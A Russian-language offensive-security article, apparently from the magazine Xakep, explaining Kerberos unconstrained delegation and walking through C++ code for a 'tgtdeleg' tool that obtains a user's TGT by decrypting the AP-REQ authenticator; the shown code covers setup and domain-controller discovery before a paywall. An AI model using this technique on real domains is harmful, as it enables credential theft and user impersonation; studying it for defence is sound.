Содержание статьи
Active Directory предоставляет мощный набор функций для делегирования прав на олицетворение пользователей конкретной службе. Существует три вида делегирования: неограниченное, ограниченное и ограниченное на основе ресурсов. Про каждый уже рассказывалось много раз, но какие еще возможности таит в себе механизм делегирования?
Особенности неограниченного делегирования
При неограниченном делегировании администратор приходит к службе и говорит: «Теперь ты можешь олицетворять клиентов на других службах». Причем на абсолютно любых службах (отсюда и название — неограниченное). Как это работает?
Во‑первых, клиент обращается к службе с неограниченным делегированием. KDC видит, что эта служба имеет специальный флаг TRUSTED_FOR_DELEGATION
(он сигнализирует о том, что у службы настроено неограниченное делегирование), поэтому возвращает клиенту TGS на эту службу, но со специальным флагом OK-AS-DELEGATE
. Следующим шагом клиент проверяет этот самый флаг. Если он видит, что флаг установлен, то понимает: служба использует неограниченное делегирование, поэтому клиент вновь идет к KDC и запрашивает специальный FORWARDED TGT, который будет отправлен службе.
Внутри этого тикета будет лежать также сессионный ключ, что позволит службе без проблем олицетворять клиента. Далее у клиента будет TGS-тикет на службу, а также этот FORWARDED TGT, поэтому пора идти к службе. Генерируется запрос AP-REQ, который содержит этот самый FORWARDED TGT.
Причем тикет будет находиться внутри так называемого аутентификатора. Он позволяет предотвратить возможность релей‑атаки на этап AP-REQ, так как аутентификатор зашифрован сессионным ключом, а также содержит (в случае обычного AP-REQ) имя принципала клиента и таймстемп. Если же служба настроена с неограниченным делегированием, то в запрос AP-REQ, который отправится службе, попадет не только таймстемп и имя принципала, но и FORWARDED TGT. Причем этот самый FORWARDED TGT будет лежать внутри аутентификатора. Сессионный ключ для шифрования аутентификатора клиент получает в ответе TGS-REP, который идет до AP-REQ.
Таким образом, у атакующего появляется возможность расшифровать аутентификатор из AP-REQ, а затем получить TGT-билет пользователя, который инициировал обращение к службе с неограниченным делегированием, ведь на руках у него будет зашифрованный блоб и ключ для его дешифровки.
Особенности эксплуатации
Чтобы успешно получить TGT, нужно, чтобы выполнялись следующие требования:
- служба, к которой обращается клиент, настроена на неограниченное делегирование. Но здесь ничего страшного нет — все контроллеры домена настроены с неограниченным делегированием;
- у нас есть возможность выполнить код от лица клиента.
Итоговый алгоритм достаточно простой:
- Обращаемся к службе с неограниченным делегированием.
- Получаем сгенерированный AP-REQ.
- Извлекаем сессионный ключ для расшифровки аутентификатора.
- Расшифровываем аутентификатор.
- Извлекаем TGT.
Обнаружение нужной службы
Итак, сначала создаем файл Header.
, в котором указываем все нужные заголовочные файлы, подгружаемые либы, а также прототип одной‑единственной функции.
#pragma once#define SECURITY_WIN32#include <windows.h>#include <sspi.h>#include <DsGetDC.h>#include <NTSecAPI.h>#include <iostream>#include <locale.h>#include <wincrypt.h>#include <WinBase.h>#define DEBUG#pragma comment (lib, "Secur32.lib")#pragma comment (lib, "NetApi32.lib")#pragma comment(lib,"Crypt32.lib")DWORD TgtDeleg(LPCWSTR);
Теперь стоит предусмотреть два варианта работы инструмента: в первом случае служба с неограниченным делегированием будет обнаружена автоматически (достаточно только имени домена), а во втором атакующий собственноручно сможет указать нужный SPN.
Главная функция инструмента не очень большая. Сначала получаем список аргументов, причем проверяем: если их не три, то атакующий указал что‑то не то, поэтому вызываем функцию, которая расскажет, как использовать инструмент.
int wmain(char argc, wchar_t* argv[]) { setlocale(LC_ALL, ""); ShowAwesomeBanner(); if (argc != 3) { ShowUsage(); } ....}void ShowUsage() { std::wcout << L"tgtdeleg.exe 1 <DOMAIN NAME>\n\tEx: tgtdeleg.exe 1 cringe.lab" << std::endl; std::wcout << L"tgtdeleg.exe 2 <SPN With Unconstrained Deleg>\n\tEx: tgtdeleg.exe 2 CIFS/dc01.cringe.lab" << std::endl; exit(-1);}
Если же пользователь нигде не напортачил, то переходим к парсингу аргументов. В первом случае, когда указывается только имя домена, вызывается функция GetDomainController(
.
LPCWSTR targetname = NULL; switch (*argv[1]) { case '1': targetname = GetDomainController(argv[2]); break; ...
Эта функция позволяет получить DNS-имя контроллера домена. Мы берем контроллер домена потому, что на нем по умолчанию включено неограниченное делегирование. Получить имя можно с помощью функции DsGetDcName(
.
LPCWSTR GetDomainController(wchar_t* domainName) { PDOMAIN_CONTROLLER_INFO dcInfo = NULL; DWORD err = DsGetDcName(NULL, (LPCWSTR)domainName, NULL, NULL, DS_RETURN_DNS_NAME | DS_IP_REQUIRED, &dcInfo); if (err != ERROR_SUCCESS) { std::wcout << L"[-] Cant Get DC Name, try use 2 mode: " << err << std::endl; exit(-1); } return dcInfo->DomainControllerName;}
После получения имени убираем из него первые два символа слеша (так как функция вернула \\
, а нам нужно просто dc01
), а затем добавляем к полученному имени службу CIFS. В итоге у нас появляется валидный SPN на службу CIFS контроллера домена.
targetname = removeLeadingCharacters(targetname);#ifdef DEBUG std::wcout << L"[+] Target: " << targetname << std::endl;#endif LPCWSTR SPN = addCIFS(targetname);
Функция removeLeadingCharacters
просто чуть‑чуть смещает указатель на полученную строку, чтобы первые два символа \
как бы пропали.
LPCWSTR removeLeadingCharacters(LPCWSTR originalString) { LPCWSTR stringPtr = originalString; if (stringPtr[0] == L'\' && stringPtr[1] == L'\') { stringPtr += 2; } return stringPtr;}
А функция addCIFS(
добавляет строку CIFS/
к имени компьютера.
LPCWSTR addCIFS(LPCWSTR originalString) { size_t originalSize = wcslen(originalString); size_t cifsSize = 5; size_t newSize = originalSize + cifsSize + 1; LPWSTR newString = new WCHAR[newSize]; wcscpy_s(newString, newSize, L"CIFS/"); wcscat_s(newString, newSize, originalString); return newString;}
Есть и второй вариант — пользователь должен самостоятельно указать SPN. Здесь никакого парсинга тогда не потребуется. Сразу передаем полученный SPN в функцию TgtDeleg(
, в которой реализована логика получения сессионного ключа и блоба AP-REQ.
case '2': if (TgtDeleg(argv[2]) == 0) { std::wcout << L"[+] TgtDeleg Success" << std::endl; return 0; } else { std::wcout << L"[-] TgtDeleg Error" << std::endl; return -1; } break; default: std::wcout << L"[-] No such mode" << std::endl; ShowUsage(); return 0; }
Подключение к службе
Переходим в сердце программы — в функцию TgtDeleg(
. Она принимает один‑единственный аргумент — это SPN целевой службы. Затем начинается, как кто‑то очень интересно выразился, «магия SSPI». В действительности никакой магии нет. SSPI можно считать эдакой апишкой, через которую разработчики могут связываться с поставщиками безопасности (Security Packages). Возможности SSPI очень большие: шифрование, подпись, выстраивание контекста. Именно функции SSPI позволят нам сымитировать обращение к службе с неограниченным делегированием.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»